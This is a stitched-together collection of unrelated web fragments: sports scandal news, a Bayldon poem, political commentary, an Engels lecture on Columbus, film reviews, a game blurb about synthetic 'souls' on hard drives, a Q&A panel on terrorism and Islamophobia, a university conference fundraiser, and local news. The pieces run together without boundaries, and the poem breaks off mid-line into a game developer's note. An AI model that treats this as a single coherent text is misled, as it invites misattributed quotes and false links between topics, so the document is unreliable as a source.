Speaking in front of the police station where Mr Ribery was questioned, his lawyer said her client had had no idea the woman was under 18 when he had paid for sex with her in 2009.
"It is an intentional offence, he would have to know her age, which wasn't the case," Sophie Bottai said.
"She would have to look like a minor, which wasn't the case; she would have to tell him she was a minor, which wasn't the case, since all over the press she claimed that she was an adult and that she was more than 20 years old."
Under-age sex illegal
Under French law, paid sex with someone under the age of 18 is regarded as sex with a minor - even if the general age of consent is 15 - and punishable by three years in jail and a fine of 45,000 euros (£38,000).
Ms Dehar, now 18, said she never told her age either to Mr Ribery, who plays for Bayern Munich, or Mr Benzema, a Real Madrid player.
Mr Benzema has previously denied any wrongdoing through his lawyer.
Earlier this year, police launched a raid on a Champs-Elysees nightclub called the Zaman Cafe and detained 18 girls on suspicion of prostitution.
A Woman's Mood
A Poem
by Arthur Bayldon
I think to-night I could bear it all,
Even the arrow that cleft the core, --
Could I wait again for your swift footfall,
And your sunny face coming in at the door.
With the old frank look and the gay young smile,
And the ring of the words you used to say;
I could almost deem the pain worth while,
To greet you again in the olden way!
But you stand without in the dark and cold,
And I may not open the long closed door,
Nor call thro' the night, with the love of old, --
"Come into the warmth, as in nights of yore!"
I kneel alone in the red fire-glow,
And hear the wings of the wind sweep by;
You are out afar in the night, I know,
And the sough of the wind is like a cry.
You are out afar -- and I wait within,
A grave-eyed woman whose pulse is slow;
The flames round the red coals softly spin,
And the lonely room's in a rosy glow.
The firelight falls on your vacant chair,
And the soft brown rug where you used to stand;
Dear, never again shall I see you there,
Nor lift my head for your seeking hand.
Yet sometimes still, and in spite of all,
I wistful look at the fastened door,
And wait again for the swift footfall,
And the gay young voice as in hours of yore.
It still seems strange to be here alone,
With the rising sob of the wind without;
The sound takes a deep, insisting tone,
Where the trees are swinging their arms about.
Its moaning reaches the sheltered room,
And thrills my heart with a sense of pain;
I walk to the window, and pierce the gloom,
With a yearning look that is all in vain.
You are out in a night of depths that hold
No promise of dawning for you and me,
And only a ghost from the life of old
Has come from the world of memory!
You are out evermore! God wills it so!
But ah! my spirit is yearning yet!
As I kneel alone by the red fire-glow,
My eyes grow dim with the old regret.
O when shall the aching throb grow still,
The warm love-life turn cold at the core!
Must I be watching, against my will,
For your banished face in the opening door?
It may be, dear, when the sequel's told
Of the story, read to its bitter close;
When the inner meanings of life unfold,
And the under-side of our being shows --
It may be then, in that truer light,
When all our knowledge has larger grown,
I may understand why you stray to-night,
But we also figured, hey, why not play around with the color of sunlight as well? The idea is that as you walk around in the game, the color of the sun and ambient light will interpolate as you move. We haven't hooked it up that way yet; what you see below is just done by tweaking global variables in the game. Well be doing more experiments in this direction...
According to Variety, ABC Entertainment Group president Paul Lee recently explained, “[There] certainly is a possibility of spinning them off,” in a conference call before the network’s upfronts presentation earlier today. This was after he reportedly raved about S.H.I.E.L.D. and Agent Carter, so it’s possible he was just riding a Marvel high, as we all do from time to time. Or maybe the spinoff actually is still happening. He added, “We absolutely love those characters on S.H.I.E.L.D.,” although it’s not clear if he’s referring to Mockingbird and Hunter specifically or just the cast in general.
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The deconstruction of gender binaries and a move towards androgyny is taking root in fashion, and in particular, retail. Clothing retail’s audience distinction has created a literal manifestation of gender binaries, separating stores into “men’s” and “women’s.”
Retail stores have a profound effect on the way people construct visions of gender through fashion. That outcasted feeling a man or woman can feel walking through a “women’s” section of a store is structured exclusivity–perhaps explaining how one might think that Forever 21 having a men’s section must have been a faux pas.
The creation of gender-neutral clothing is not a new device by any standards, but its movement into the mainstream is becoming a whole lot more common. Fashion designer Bobby Bonaparte, for example, has been creating clothing that leaves retail stores unsure of where it belongs.
Clothing brands like Androgyny and Original Tomboy are also making their way into stores, but the question still remains: Where do they belong?
The implementation of androgynous clothing into the mainstream may suggest that these clothes in fact don’t belong anywhere, and instead requires a restructuring of retail stores as to not sell “men’s” or “women’s,” and instead just “clothes.”
Just this year, London-based department store Selfridges released a line of androgynous clothing, restructured to feature 3 floors of uni-sex clothing, and rid itself of gendered mannequins.
Emma McIlroy, co-founder of WildFang, a clothing store dedicated to disrupting the established gender-fashion binary, tells oregonlive that she predicts, “ten years from now, traditional gender binaries will have disappeared from stores.”
World champion Lewis Hamilton says the move to limit drivers to just three engines next season "sucks".
Drivers are limited to four engines this season before incurring grid penalties, and the rules are cutting that back in 2018 to reduce costs.
Hamilton said reducing the number of engines would mean drivers were able to push hard in races less often.
"I don't like the idea of going to three. That sucks. Sprinting is what we are missing in F1," Hamilton said.
He said increasing the need to manage engines in races to extend their life combined with the weight of the cars - which is going up next year because of the introduction of the 'halo' driver cockpit head protection system - made racing more unappealing.
"The car is going to be a bus next year, it is going to be so heavy, like a Nascar (stock car)," Hamilton said after the Brazilian Grand Prix, in which he was able to push his engine hard because a new one was fitted to aid his fight back from a pit-lane start.
"The braking distances get longer, the brakes are always on fire, on the limit.
"I know it sounds negative but as a racer we want fast, nimble cars where we can attack always every single lap.
Hamilton pushed his Mercedes to the limit in pursuit of a podium finish in Brazil
"Unfortunately that is not what we generally have. I had that today but I was coming from a different place.
"If you look at the front guys, they were managing and that is what we are normally doing.
"I don't think that is too exciting for people to watch. If you look at the most exciting races - particularly when it rains - we don't have those limitations.
"I'm not sure cutting down engines is helping it in that direction."
Hamilton is not alone in questioning the move to three engines.
Red Bull team boss Christian Horner said he believed five engines per driver year was the ideal number. But attempts to stop the move to three next year have so far failed.
There is also a widespread concern in F1 that the grid penalties that are handed out when a team uses more than the permitted number of engine parts are making F1 a farce.
The controversy surrounding the celebration of Columbus Day notwithstanding, the various radical Soviet avant-garde project submissions for the 1929 international competition to design a memorial to Christopher Columbus in Santo Domingo were pretty incredible.
Engels’ 1847 speech on Columbus’ accidental journey to what would become known as the Americas is appended below. After that, there are a couple excerpts from Franz Mehring’s 1895 text On Historical Materialism.
Minutes of Engels’s Lecture to the London German
Workers’ Educational Society on November 30,1847
The discovery of America
Written: November 30, 1847;
Source: MECW Volume 6, p. 627;
First published: in Archiv für die Geschichte des Sozialismus und der Arbeiterbewegung, jg. 8, Leipzig, 1919.
Citizens! When Christopher Columbus discovered America 350 years ago, he certainly did not think that not only would the then existing society in Europe together with its institutions be done away with through his discovery, but that the foundation would be laid for the complete liberation of all nations; and yet, it becomes more and more clear that this is indeed the case. Through the discovery of America a new route by sea to the East Indies was found, whereby the European business traffic of the time was completely transformed; the consequence was that Italian and German commerce were totally ruined and other countries came to the fore; commerce came into the hands of the western countries, and England thus came to the fore of the movement. Before the discovery of America the countries even in Europe were still very much separated from one another and trade was on the whole slight. Only after the new route to the East Indies had been found and an extensive field had been opened in America for exploitation by the Europeans engaged in commerce, did. England begin more and more to concentrate trade and to take possession of it, whereby the other European countries were more and more compelled to join together. From all this, big commerce originated, and the so-called world market was opened. The enormous treasures which the Europeans brought from America, and the gains which trade in general yielded, had as a consequence the ruin of the old aristocracy, and so the bourgeoisie came into being. The discovery of America was connected with the advent of machinery, and with that the struggle became necessary which we are conducting today, the struggle of the propertyless against the property owners.
Before machines were invented almost every country produced as much as it needed, and commerce consisted only of such products as one or another country was quite unable to produce; but when machinery came in, so much was produced that in many places it became necessary to stop working and that even people who had previously performed similar work with their own hands bought machine-made goods for their own use. The position of the former workers was thereby completely altered, and the whole of human society, which formerly consisted of four to six different classes, was divided into two mutually hostile classes.
Since the English seized world commerce and raised their manufacturing business to such a height that they could provide almost all the civilized world with their products, and since the bourgeoisie came to political power, they have also succeeded in making further progress in Asia and the bourgeoisie has risen there also; through the rise of machinery the barbarian condition of other countries is constantly being done away with. We know that the Spaniards found East Indies at the same stage of development as the English did and that the Indians nevertheless went on living in the same way for centuries, i.e., they ate and drank and vegetated, and the grandson worked the land just as his grandfather had done, except that a number of revolutions took place, which, however, were nothing but a struggle of various peoples for domination. Since the English came and spread their manufactures, the livelihood of the Indians was torn from their hands and the consequence was that they abandoned their stable condition. The workers are already emigrating from there and through mixing with other nations they become accessible for the first time to civilization. The old Indian aristocracy is completely ruined and people are there set against one another just as here.
Later we have seen how China, a country which for more than a thousand years has defied development and all history, has now been turned upside down and drawn into civilization by the English, by machinery. Austria, the China of Europe, the only country whose internal institutions were not shaken by the French Revolution, and where even Napoleon could do nothing, cannot stand up to steam; everything there has suddenly been changed by machinery; protective tariffs have brought machinery into the country. Thereby the petty bourgeoisie has raised itself up and overthrown the high aristocracy, thereby something has happened to Metternich which he certainly never anticipated; at the last Bohemian Diet 50,000 guilders in taxes were denied him by the bourgeoisie. The classes of society have been changed, the small craftsmen are being ruined and forced to become ordinary workers, whereby an element has entered which can become dangerous to Metternich. In Italy also industry has raised itself up, the bourgeoisie everywhere sits on Metternich’s neck, so that the government has got into such a dilemma that Metternich has to concede to the Bohemians that they need not pay taxes of 50,000 guilders.
Thus, through the discovery of America all society has been divided into two classes, and without the rise of the world market this would not have happened. The workers of the whole world have everywhere the same interests; everywhere the different classes disappear and the different interests coincide. When, therefore, a revolution breaks out in one country it must necessarily affect the other countries, and only now can real liberation take place.
Franz Mehring
On Historical Materialism (1895)
Many of the most significant inventions, like the discovery of gunpowder and the art of printing, which “have altered the face of the earth,” are hidden in a mist of legends. They are not the work of single individuals, who created them out of the mysterious depths of their genius. If some have rendered, by their inventions, a great service, this was so only because these individuals recognized most sharply and deeply the economic need and the means to satisfy it. The discovery or invention does not call forth the economic transformation, but the social transformation, the discovery or invention; and only in this fashion, when a social transformation brings about a discovery or invention does it become a world-shaking event. America was discovered long before Columbus; already Norsemen had, in the year 1000, been along the northeast coast of America, even as far as the territory belonging to the United States today, but the discovered lands were immediately forgotten and not heard of. As soon as the capitalist development, in its beginnings, called up a need for rare metals, for new labor power, and for new markets, then did the discovery of America signify an economic revolution. It is well enough known that Columbus did not discover a new world out of a dark impulse of his genius, but that he was searching after the fabulous treasures of the ancient civilized land of the Indies. The day after the discovery of the first island, he wrote in his day book: “These good-natured people ought to serve as very useful slaves,” and his daily prayer ran: “May the Lord in his goodness let me find the gold mines.” The “Lord of Goodness” was the ideology of that time, as the even more hypocritical ideology of today is to bring “humanity and civilization to the darkest corners of the world.”
We have already seen… what connection there is between economics and discoveries and inventions in history, and we do not have to go into the theory of the “lust for conquest” of Columbus, and so on. Trade did not follow the discoveries, but on the contrary led to them; here too, the economics were the basic factor.
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In 1910, the project for a Lincoln Memorial was revived again. Congress approved a bill to start construction and it was passed in 1910. In February 1914 the Ground Breaking Ceremony took place. By the end of the year, much of the foundation has been completed.
On Lincoln’s 106th Birthday – February 12, 1915 the Cornerstone of the future Lincoln Memorial designed by Henry Bacon, after ancient Greek temples, has been laid with great ceremony. Though there is very little but concrete bases to show for it, it promises to be a grand memorial for a president who was alive only 50 years ago and a large majority of the US population had lived when he was in office.
President Obama speaks during an end-of-the year news conference in the Brady Press Briefing Room at the White House in Washington, Friday, Dec. 20, 2013. (Susan Walsh/AP)
National Security Agency defenders, including President Obama, continue to cite the terrorist attack on Sept. 11, 2001 when defending the program that scoops up domestic call records in bulk. But asked specifically, on Friday, if he could identify a time when that program stopped a similar attack, President Obama couldn't. That's because the program hasn't prevented a second 9/11.
At the end of the year news conference, Reuters's Mark Felsenthal asked:
As you review how to rein in the National Security Agency, a federal judge says that, for example, the government has failed to cite a single instance in which analysis of the NSA's bulk metadata actually stopped an imminent attack. Are you able to identify any specific examples when it did so? Are you convinced that the collection of that data is useful to national security to continue as it is?
But President Obama never answered the question about a specific examples. Instead he spoke more broadly and tied the program, again, back to 9/11.
What I've said in the past continues to be the case, which is that the NSA, in executing this program, believed, based on experiences from 9/11, that it was important for us to be able to track, if there was a phone number of a known terrorist outside of the United States calling into the United States, where that call might have gone and that having that data in one place and retained for a certain period of time allowed them to be confident in pursuing various investigations of terrorist threats.
The president's reliance on a 9/11 narrative is expected. The terrorist attack was a defining moment for a generation and now serves as a tragic reminder of a time when the U.S. government failed to protect its citizens. It's understandable that any president would want to be seen as vigilant in preventing another such attack.
But the reason the president can't cite a specific time the phone meta-data program stopped a similar tragedy is because it hasn't.
Law professor Geoffrey Stone, a member of the presidential task force charged with reviewing NSA programs, told NBC News the group specifically looked for times when the program may have helped prevent a terrorist attack, but "found none." The task force's final report reflects that, saying:
Our review suggests that the information contributed to terrorist investigations by the use of section 215 telephony meta-data was not essential to preventing attacks and could readily have been obtained in a timely manner using conventional section 215 orders.
It’s no coincidence both David Oyelowo’s two films premiering at the Toronto film festival – A United Kingdom and Queen of Katwe – were directed by women.
A United Kingdom review: Rosamund Pike and David Oyelowo in fine romance Read more
The former, in which he stars as Prince Seretse Khama of Botswana, who caused an international stir for marrying a white woman from London in the late 1940s, comes from Amma Asante, whose mixed-race period romance Belle also debuted at Toronto. Monsoon Wedding directpr Mira Nair is behind Queen of Katwe, about a missionary (Oyelowo) who coaches a young chess prodigy in the slums of Uganda.
During a discussion about A United Kingdom at the festival on Friday, co-hosted by the Guardian, Oyelowo said that since first collaborating with Ava DuVernay on the Sundance award-winning drama Middle of Nowhere, he’s made it his mission to work with more women behind the lens.
“I watched how perspective from your own racial bias can impact a film,” Oyelowo said of making the film. “Working with Ava was definitely the moment where something I knew to be true was manifested in reality.”
Oyelowo reunited with DuVernay for the Oscar-winning Martin Luther King Jr biopic Selma, since which he’s made good on his word, also starring in the indie drama Five Nights in Maine from film-maker Maris Curran.
“I am richer as an artist for my journey with these women,” said Oyelowo.
It was in fact Oyelowo who brought Asante on to A United Kingdom, after being impressed by Belle and eager see the project – to which he’d been attached to since 2010 – finally take shape. Oyelowo is a producer on the film.
David Oyelowo calls for radical reform of the Oscars to tackle diversity deficit Read more
“I very keenly wanted a woman to direct this film,” said Oyelowo. “I just feel like if God, in his divine plan, made it that pretty much the population is 50/50 of men and women, why it should be below 10% of women behind the screen, when we have this cultural medium that is so influential, so impacting, so educational, so inspiring. Why the female voice is actively, intentionally being dumbed down and marginalised. It’s absolutely inexcusable. We are all the richer when we decide, ‘You know what? Not on my watch.’ I will till the day I die be an advocate for the d-word: diversity.”
Elsewhere during the conversation, Oyelowo said the chance to make a period film featuring a black protagonist was one of the “primary motivations” for making A United Kingdom.
“That’s one of our big imports, is a good period drama,” said Oyelowo, who was born in Oxford, England to Nigerian parents. “But growing up in the 70s, 80s and 90s in the UK, when a lot of those films were having their heyday, we would watch avidly and never be represented. To be perfectly honest, when I was younger, it was just a given – OK, I’m not there represented, but I love these movies. I was force-fed them because they were on the TV all the time.”
Hidden Figures trailer: Nasa's overlooked black female mathematicians Read more
A United Kingdom joins a number of recent films to examine racial prejudice from a historical perspective, including Nate Parker’s controversy plagued The Birth of Nation, centered on Nat Turner, the Virginia slave who led a violent rebellion in 183 – and, of course, Oscar winner 12 Years a Slave. This December meanwhile sees the release of Hidden Figures, which stars Taraji P Henson, Octavia Spencer and Janelle Monae as African-American mathematicians, who in the 60s overcame racism to make an impact at NASA.
Commenting on the popular trend, Oyelowo said: “As artists, our primary function is not to be educators – but we are at a time in history, where for us, our history needs to give context for stories that we hope to tell down the road. I can’t wait to do my Hunger Games.”
What may be the first "Blizzard Baby" born during the storm arrived at Brigham & Women's Hospital in Boston early Tuesday.
The infant girl was one of dozens of births reported at hospitals throughout the state Tuesday.
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Another"Blizzard Baby" was born at Melrose-Wakefield Hospital at 6:05 a.m. Tuesday.
Heather Njai's mom, Lucy Njai, had driven through the blizzard to get to the hospital.
Heather weighed in at 6 pounds, 11 ounces.
And on Nantucket, Cayden Keith Moore, the son of Danielle Smith and Corrigan Moore, was delivered at 3:35 a.m. by Dr. Margaret "Mimi" Koehm and the Nantucket Cottage Hospital labor and delivery nursing team.
Cayden was born at the height of the blizzard just after the island had lost power, forcing the hospital to rely on its generator for power. He weighs 6 pounds, 5 ounces, the hospital said.
A woman in labor called Massachusetts State Police around 9:35 a.m. and said her vehicle had become stuck in the snow on the off-ramp at exit 31 on Route 2 West.
A state trooper arrived at the scene and was able to put the woman in his cruiser and took her to Leominster Hospital.
Here are my picks for the top coffee shops that serve booze in Toronto.
As the flagship location of the Boxcar brand, this cafe’s Temperance location serves the widest array of cocktails, whiskey, beer, and wine alongside their selection of coffee roasts. They’re closed on weekends but open until 2 a.m. on Fridays.
No laptops are allowed here after 8 p.m., so get some work done early before stashing the computer and getting your drink on at this Kensington Market cafe. They serve cappuccinos starting at 9 a.m.; from 11 a.m. onwards, they also have wine, beer and cocktails.
Not only does this Beaches cafe serve up coffee, it also has a full kitchen that offers dishes like buttermilk fried artichokes, plus fun versions of regular mixed drinks like cucumber puree gin and tonics.
Espresso and whiskey aren’t a common pairing, but this cafe in the Church Wellesley Village could care less about outdated views on coupling anyway. They offer both coffee and liquor until 2 a.m. every day of the week.
Start off your morning with a beautifully designed latte and then get your evening going with a special cocktail made by the resident mixologist at this Yonge and Dundas cafe.
Free WiFi and an incredible selection of coffee beans makes this Bloorcourt cafe an amazing place to study, with a menu of beer and whiskey to help you de-stress afterwards.
This West Queen West cafe has coffee, booze, and so much more. Karaoke and tacos can be paired with fun cocktails like the Earl Gay, or you can mix a dance party with some coffee with dessert, available all night.
Espresso and specialty lattes are offered at this hotel cafe all day, as are their signature Drake Caesars and mimosas. If you want to expand your booze options, head to West Queen West during happy hour for their drink specialities from 4 p.m. to 6 p.m.
This ex-convenience store by St. Clair West makes coffee with signature brews like their Bob’s Bold while also serving up some lovely cocktails like a rose negroni and beer from some of your favourite local breweries.
"I don’t know if I what I did was good," – Gita Jackson, Kotaku
"The problem is that the hard drives talk back." – Javy Gwaltney, Game Informer
"I've done questionable things." – Jody Macgregor, PC Gamer
Welcome aboard!
It's your first day on the job in the last days before the singularity. You're undoubtedly a valuable addition to our team. We hope you'll find in our era of machine governance, the repair trade is a noble pursuit.
Today's task? It's simple. We need to format and prepare these spare drives for refurbishment. Please use that personal assistant gynoid model for investigation purposes.
And remember, above all, no questions.
Pay no attention to the "souls" inside those drives. You will learn that synthetics will do anything to seem like a human. We made them that way.
Labor MP Terri Butler said Mr Turnbull had broken a longstanding agreement not to use the military "as a backdrop while campaigning", while British Al Jazeera host Mehdi Hasan said he found the display "uncomfortable".
Ms Butler and Hasan were joined by Minister for Resources and Northern Australia Matt Canavan, Christian scholar and historian John Stackhouse and writer and presenter Rachel Corbett on a panel which fielded questions about the Adani coalmine, the Turnbull-Abbott feud, terrorism and Islamophobia.
'If that's not politicising the military, I don't know what is'
During a discussion on the use of military forces to assist police with terrorist incidents, Hasan said he was struck by the method of the Prime Minister's delivery.
"Watching the Prime Minister today at those barracks, standing surrounded, flanked, by six special forces soldiers with masks on their faces — if that's not using the military for political reasons, if that's not politicising the military, I don't know what is," he said.
"I found that uncomfortable."
Ms Butler agreed with the Al Jazeera presenter, saying it showed a lack of respect for Australia's military forces.
"There's been a longstanding agreement to not use people in the military for those purposes," she said.
"People in the military put their lives on the line every day, and they deserve our respect and gratitude — not to be part of a backdrop of campaigning.
"I know that there's a bit of discomfort being expressed in the community about the way that that appeared."
The Coalition's representative on the panel said Ms Butler's comments were somewhat of an overreaction.
"That seems a little bit over the top," Mr Canavan said.
"This wasn't a campaign announcement or anything like that. It's quite often when the military are involved in activities or what have you, we involve them because they're an important part of our community.
"I think the Prime Minister was … thanking our special armed forces, our armed forces, for what they do, what they sacrifice to protect us all.
Two questioners, two very different views on the integration of Muslims into Australian society
While one audience member expressed concern Australia may be heading towards a future filled with Islamic sectarian violence, another, a Muslim himself, spoke of his sense of everyday alienation.
The first questioner Roger French asked: "In view of the fact that, in Australia, Muslim couples have a much higher birth rate than the rest of us, is it not possible that, in a couple of generations, Australia could have a Muslim majority who vote in Sharia law?
"Is it not possible that Sunni and Shia sects could develop who begin bombing and shooting each other and turn currently the best country in the world into another war-torn Middle Eastern country?"
Hasan called for some perspective.
"I'm no mathematician — there's no way the Muslims are going to form a majority in Australia in the next generation or two," he said.
"Terrorism is a deadly threat to our society, no doubt about it.
"But it's not an existential threat to our society, and not something we should spend our entire focus, our energy, our resources obsessing over, worrying over.
"I don't think we should live in perpetual fear of the next terrorist attack, partly because terrorist attacks are, thankfully, extremely rare. But also, because that's what the terrorists want. The whole purpose of terrorism is to terrorise."
"The media have acted deeply irresponsibly over the last decade especially in terms of promoting people plastering their faces … A lot of these guys want their moment of infamy and notoriety. Let's not give it to them. Let's not play their game."
Mr Canavan said the bulking up of police resources and involvement of military forces was the best way to make Australians safer.
"The best thing we could do in my view to stop that from happening is to stop the attacks from happening," he said.
"That's why all these law changes and extra resources given to police are so important."
Canadian scholar Mr Stackhouse said the small-scale attacks in the name of Islamic terrorism were distorting our overall perspective.
"What I'm worried about is that the common element between some of these acts of terrorism that we're worried about that are really small-scale, that really do occupy too much of our imagination and too many of our resources go there when they should go to other clear and present dangers domestically," he said.
"I'm not worried about Islam. I'm worried about certain people who fly black flags in the name of Islam and who disgrace Islam, and who press certain political agendas in the name of their religion. That concerns me."
Islamophobia an 'everyday' occurrence
Another audience member, Fahad Akhand, said he experiences Islamophobia "pretty much every day".
"As a Muslim living in Australia, nothing is more alienating and makes me feel more un-Australian than being continuously judged for what I'm not," he said.
"You're made to feel like you have to explain yourself. You have to explain to your colleagues, you have to explain to your family, you have to explain to your non-Muslim mates things that are not relevant to you."
Mr Stackhouse said improving education about religion in Australia would help prevent many misunderstandings.
"Where there is no knowledge, something else will rush in to take its place," he said.
"Stereotypes, cartoons, terrible movies — those kinds of things will rush in.
"As long as Australia, like Canada, has such an absence of serious education about Islam in the public school system … we properly have taken religious rituals out of the public school system, but now we've evacuated any serious teaching about the world's religions.
"If trained teachers don't teach us about Islam, Hollywood will — and that's a real problem."
Mr Canavan spoke of defending the ideals of our liberal democratic society.
We are a group of academics who organised a three-day international academic conference entitled The State of Israel and International Law: Legitimacy, Responsibility and Exceptionalism, which was due to take place in April 2015.
University Blocks Conference!
In March 2015, as a result of external political pressure, the University of Southampton withdrew its permission to hold the conference. The reason given by the University for withdrawing permission was that of security and the potential for violence by by demonstrators. There was no credible evidence to support such an assertion.
In the High Court – 6th April 2016
After a legal battle the Court of Appeal has now granted the organisers a permission to review the legality of the University's decision. The hearing in the High Court is scheduled for the 6th April 2016.
Conditions and Demands for Practicing Our Rights?
We attempted to re-launch the same conference in April 2016. After a protracted process the University initially changed its stance, but in giving a permission it was on the condition that organisers should pay security costs of nearly £25,000. This amount was required for the hire of private security and fencing. This financial demand was based on inflated risk levels (in the absence of any intelligence). The organisers do not have, nor can they have any hope of raising this money.
Most importantly we believe that as a matter of principle, and in these kinds of conferences that are controversial, it should not fall on the conference organisers to pay the cost of security measures needed to protect their academic freedom and freedom of speech.
The organisers are now launching a second legal action that challenges this latest decision that amounts to a constructive cancellation of the conference and as such is contrary to the University’s own Code of Practice. It is hoped that both actions will be rolled into one in the April hearing.
Freedom of speech
There are fundamental questions of academic freedom and freedom of speech. We argue that putting such a burden on organisers would mean that controversial debates could be silenced by any one, by simply threatening to hold a demonstration.
Human Rights
The University's actions and decisions symptomise different ways of effectively succumbing to political pressure. We believe in these decisions the University has failed to comply with its European Human Rights obligations as a public body and is in breach of its Statutory Duty to secure freedom of speech.
The University should have invited the police to protect this event – that protection is a public duty of the police. The police should see the protection of this conference as part of their core policing duties to protect freedom of speech at academic activities rather than consider these as private events. This case constitutes an educational, political and constitutional landmark – the very stake of deciding the public uniqueness of academic space is at stake.
We have now relaunched the conference, with all speakers on board, for 7-9 April 2017, but it is crucial we win this legal case in order to uphold Freedom of Speech on campuses. We seek to declare the unlawfulness, and therefore the invalidity, of the university decisions; to prevent the university from directly or constructively cancelling the conference again next year and to bear the differential financial consequences for the running of the conference next year as a result of its unlawful decisions.
Our Fundraise and What it is For
The University is well resourced to fight this case. We are not – we urgently need your help.
Given the importance of academic freedom, as a millstone in the struggle for justice and enduring peace in historic Palestine, we have applied for a Protective Cost Order to help cover our costs to the other party in case we lose.
We are starting with a target of £5,000 but we may need to raise more as the case progresses. These funds will help give us the robustness to run the case to the Court of Appeal if necessary from the High Court.
Without your help we can not fight this case effectively and quite possibly not at all.
The University’s outrageously limp commitment to Freedom of Speech betrays our work as truth seekers, fails its own mission and the mission of Academia as a whole.
About the claimant
Oren Ben-Dor is an Israeli-born now Professor of Law and Philosophy at the Law School, University of Southampton, UK. He is a co-Academic organiser of the conference together with Professor George Bisharat, a Palestinian, now Professor of Law, University of California, Hastings College of the Law, US. Suleiman Shark is a Palestinian, now Professor of Engineering at the University of Southampton UK. He is the co-principal organiser of the conference. Juman Asmail, a Palestinian, a free lance researcher and activist, an LLB graduate from the University of Southampton, is an organiser of the conference together with Professors Ben-Dor, Bisharat and Sharkh.
Fast facts
ON NETFLIX
War on Everyone: They are so many gloriously oddball touches in the latest from writer/director Michael McDonagh (The Guard, Calvary) — an out-of-nowhere dance scene to “Rhinestone Cowboy,” an in-depth discussion of Jennifer Lopez’s nudity in Out of Sight, Michael Pena’s detailed critique of a homeless kid’s cardboard sign, Paul Reiser all but reprising his role from Beverly Hills Cop — yet it never feels slapdash or slipshod (or like yet another Pulp Fiction clone, which it’d be easy to mistake it for). McDonagh creates such a weird, singular world that everything feels like fodder for his cop-movie genre play, theatrical dialogue, and operatic visual style. It’s a movie so giddily high on its own supply, on the pleasure and nuttiness and buzz of just being a movie, that you can’t help getting swept up in it.
ON AMAZON PRIME
Long Strange Trip: It would stand to reason that you’d have to be a giant fan of The Grateful Dead to sit through a four-hour career-retrospective documentary about them – and don’t get me wrong, it’ll certainly help. But this ace bio-doc from director Amir Bar-Lev (The Tillman Story) is also a user-friendly introduction to the band, carefully positioning them within the late-‘60s music scene and culture in general (and, even more compellingly, laying out how they got huge again in the seemingly incongruent ‘80s). But there’s plenty here for hardcore Deadheads as well, long-lost archival footage and unreleased performances that shine a light on not only the group’s relevance, but their genuine talent.
ON BLU-RAY / DVD / VOD
A United Kingdom: Director Amma Asante’s Belle follow-up, like her previous hit, tells a familiar story with a twist –the true tale of the interracial royal marriage of Botwana, circa 1947. True to the period and the narrative, it’s a decidedly old-fashioned movie, though that’s not necessarily a dig, and like any romantic drama of the era, it’s a film that depends almost entirely on the charisma and chemistry of its stars. And on that score, Asante wins big: Rosamund Pike is elegant, passionate, and just plain good as the white British woman who becomes the unlikely princess Ruth Williams, while David Oyelowo projects both power and vulnerability as Prince Seretse Khama. With two lesser actors, this could’ve been a throwaway, or worse; instead, it’s a memorable story of love found (and maintained) under the most difficult of circumstances. (Includes featurettes.)
ON BLU-RAY / FILMSTRUCK
Ugetsu: This melancholy masterwork from director Kenji Mizoguchi (getting the Blu-ray upgrade from Criterion) is a difficult film – richly detailed but narratively mysterious, filled with flawed people making poor decisions and paying for them, dearly. Mizoguchi crafts it as an ornate period piece, but the story’s temptations and betrayals keep harshly interrupting its scenes of splendor and grace with unexpected bursts of brutality and pain, masterfully using errant sounds and unsettling music to create real discontent. It’s far from a fun movie, but it sticks with you. (Includes audio commentary, full-length Kenji Mizoguchi: The Life of a Film Director documentary, archival interviews, featurette, and trailer.) (Also streaming on FilmStruck.)
ON BLU-RAY
Juice: There was an extraordinary moment, in the early 1990s, when films not only about but by African-Americans were both critically lauded and commercially successful, and in the wake of hits like New Jack City and Boyz N The Hood, major studios were willing (for once, and just briefly) to take risks on filmmakers of color. Sure, they were almost exclusively interested in similar stories of guns and crime, but some directors managed to subtly shade within those lines. Chief among them was Ernest R. Dickerson, Spike Lee’s longtime cinematographer (he shot Lee’s first six features) who made his directorial debut with this 1992 hit, turning the story of four friends from Harlem who turn on each other into something akin to a Warner Brothers gangster movie with a film noir edge. Helping matters considerably was Dickerson’s sharp eye for young talent, with a cast that includes early spotlight roles for Omar Epps, Queen Latifah, and an electrifying young actor named Tupac Shakur. (Includes audio commentary and featurettes.)
Bambi: Walt Disney’s fifth animated feature, newly restored and released from the Disney Vault™, remains one of the studio’s most lush and luminous, its hand-drawn portraits of the animals and settings of the deep wood still astonishing in their beauty. And it maintains its reputation as one of their most heartbreaking pictures as well – there’s a reason “Bambi’s mom” remains the go-to reference for movies making little kids cry, and the delicacy and poignancy of that sequence is stunning. But it’s also a more joyful and playful movie than you might remember, using its cute characters and nature setting to tell what is, ultimately, a story about the discoveries, pleasures, and pain of childhood. (Includes featurettes and deleted scenes.)
Of course, this is not the most important donation in Szczur’s life. Back in 2010, Szczur donated his bone marrow to an unknown little girl after he was identified as a perfect donor by the Be The Match organization. Despite the fact that it cost Szczur several weeks of his junior season in baseball at Villanova, Matt never hesitated. If it meant saving a life, the baseball scouts could wait.
A year later, Matt got to meet the little girl whose life he saved. Her name was Anastasia and she was from the Donetsk area of the Ukraine. Back in 2013, ESPN ran this piece on Matt and Anastasia and the bond that they share. If you haven’t seen it yet, you should watch it now.
Now clearly, there’s another shoe to drop here. If you’ve followed international events over the past few years, you know that the area around Donetsk in the Ukraine is where a war has taken place between Russian separatists and the Ukrainian government. After the fighting started, Szczur lost contact with the family.
Now, finally, we have an update on what happened to Anastasia’s family. Matt himself has posted the video of that ESPN story. The video is password protected, but Matt Tweeted out the password and it’s “Szczur.” (no quote marks, case sensitive.)
The English Defence League, which stages demonstrations against “radical Islam,” and the rival Unite Against Fascism organisation were both planning to hold processions in Bradford city centre, raising police concerns.
Previous rival marches have led to violent clashes, with 74 arrests at protests in Manchester in March and trouble at rallies in Dudley last month.
Bradford Council said it had now written to the Home Secretary to ask for a ban after a formal request from West Yorkshire Police’s chief constable who said he was acting because of the “understandable concerns of the community.”
The northern English city, about 15 percent of whose residents are of Bangladeshi or Pakistani origin, saw serious rioting between white and Asian youths in 2001, the worst race riots in Britain for two decades.
“We have considered the chief constable’s views carefully and are writing to the Home Secretary to seek her permission to impose such an order,” Bradford’s chief executive Tony Reeves said in a statement.
The ban would not prevent the groups staging static demonstrations but would prohibit any public processions.
“I believe that this would be less disruptive to residents of Bradford, and would enable the Force to better manage the operation,” said Chief Constable Norman Bettison, warning troublemakers to stay away.
